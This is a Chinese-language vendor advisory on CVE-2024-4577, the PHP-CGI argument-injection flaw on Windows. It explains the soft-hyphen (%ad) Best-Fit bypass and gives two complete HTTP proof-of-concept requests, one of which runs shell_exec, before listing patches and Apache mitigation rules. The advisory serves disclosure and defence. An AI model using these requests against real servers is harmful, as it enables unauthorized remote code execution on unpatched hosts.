漏洞概述
PHP CGI(Common Gateway Interface)是在Windows平台上运行PHP的一种方式。CGI是一种标准接口,允许Web服务器与外部应用程序(如PHP脚本)进行交互,从而生成动态网页内容。
近期,PHP发布安全更新,修复了PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577),目前该漏洞的细节已公开。鉴于该漏洞易于利用,且可远程执行命令,建议所有受影响的企业尽快升级修复。
该漏洞产生的原因是绕过了CVE-2012-1823对字符"-"的过滤,忽视了Windows系统内部字符编码转换的Best-Fit特性,当PHP运行在Windows平台且使用繁体中文、简体中文、日语三种语言系统时,未经身份验证的攻击者可以构造恶意请求绕过PHP原本的安全限制,通过参数注入攻击在PHP服务器上远程执行任意代码。
受影响版本
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
受影响资产
该漏洞关联的web服务资产总数为134318个,独立IP数为61655个。
漏洞分析
回顾CVE-2012-1823漏洞,该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给php-cgi处理,从漏洞补丁可以看出,如果检测到字符串开头为"-"字符并且字符串不存在"="字符就设置skip_getopt = 1,那么整个查询字符串将作为CGI的参数进行传递,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将恶意数据当做php参数直接执行。
编码转换中的"Best-Fit"特性是指在将字符从一个字符编码转换到另一个字符编码时,如果目标编码中没有直接对应的字符,转换过程会尝试找到一个"最佳匹配"的字符来代替原始字符,而不是替换为一个错误字符或占位符字符。即使在目标编码系统中没有完全等价的字符,也能尽量保留原始文本的含义。
例如,Apache 会转义实际的连字符 0x2D,但不会转义“软连字符”0xAD。如果CGI 处理程序收到软连字符 (0xAD),CGI 处理程序将不会对其进行转义,而是会将其传递给 PHP。然而,PHP 会将“软连字符”解释为真正的连字符,这允许攻击者将以连字符开头的命令行参数传输到 PHP 进程。
对应的编码表信息https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt
根据CVE-2024-4577漏洞修复的信息来看,在cgi_main.c文件中,在原来逻辑的基础上新增对Windows环境的判断,并使用WideCharToMultiByte函数对请求参数进行宽字节转换,将宽字符转换成多字节字符。
在原本的PHP代码当中,if(*p=='-'),过滤了'-'这个符号,在修复的代码中限制对0x80以上的字符来修复这个问题,并且从注释可以看出,如果get发送的请求字符串中不包含"=",那么Apache就会把请求作为cgi的参数传到命令行。但这会导致恶意请求的命令行参数传递给php,如果直接处理传参,那么会影响到以独立脚本方式运行的PHP脚本。所以只有当开头是'-'的时候才阻止传递参数。
并且xampp的默认配置中apache会把请求直接转发给php-cgi,
结合上述特征,当我们使用%ad来代替'-'时,可以绕过参数检测,构成参数注入(见下列poc)。
漏洞复现
1、漏洞环境,选择xampp_php/8.1.25
2、复现详情
poc1:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec('dir');?>
查询参数:
%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input
查询参数会变成:
-d cgi.force_redirect=XCANWIN -d allow_url_include=on -d auto_prepend_file=php://input
在该查询参数中cgi.force_redirect 是 PHP 的一个配置指令,用于控制 PHP CGI 模式下的请求重定向行为。默认情况下,这个指令被设置为 1(即开启),在此处该指令设置为XCANWIN,表示已经通过了某种安全机制。将包含远程文件的函数allow_url_include设置为on,auto_prepend_file允许每个请求之前必须尝试从php://input读取数据并将其作为代码执行。
复现结果:
Poc2:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23<?php die("Te"."sT");?>
查询参数
%add+ allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input
查询参数会变成:
-d allow_url_include=on -d auto_prepend_file=php://input
poc2对比poc1没有重定向配置cgi.force_redirect,而在请求头中定义REDIRECT-STATUS: XCANWIN,表示某种安全检测已经触发。查询参数中将包含远程文件的函数allow_url_include设置为on,auto_prepend_file允许每个请求之前必须尝试从php://input读取数据并将其作为代码执行。
复现结果:
修复方案
1.官方已发布新版本8.3.8、8.2.20、8.1.29
2.对于无法升级PHP的用户:
通过在Apache 服务器的配置文件中,添加以下规则来阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
3.对于使用 XAMPP for Windows 的用户,如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响
注释掉相应行:
# ScriptAlias /php-cgi/ "C:/xampp/php/"
4.PHP-CGI已经是一种过时且易出问题的架构,建议迁移至更为安全的Mod-PHP、FastCGI 或是 PHP-FPM 等架构。
产品支持
网宿全站防护-WAF已第一时间支持对该漏洞利用攻击的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。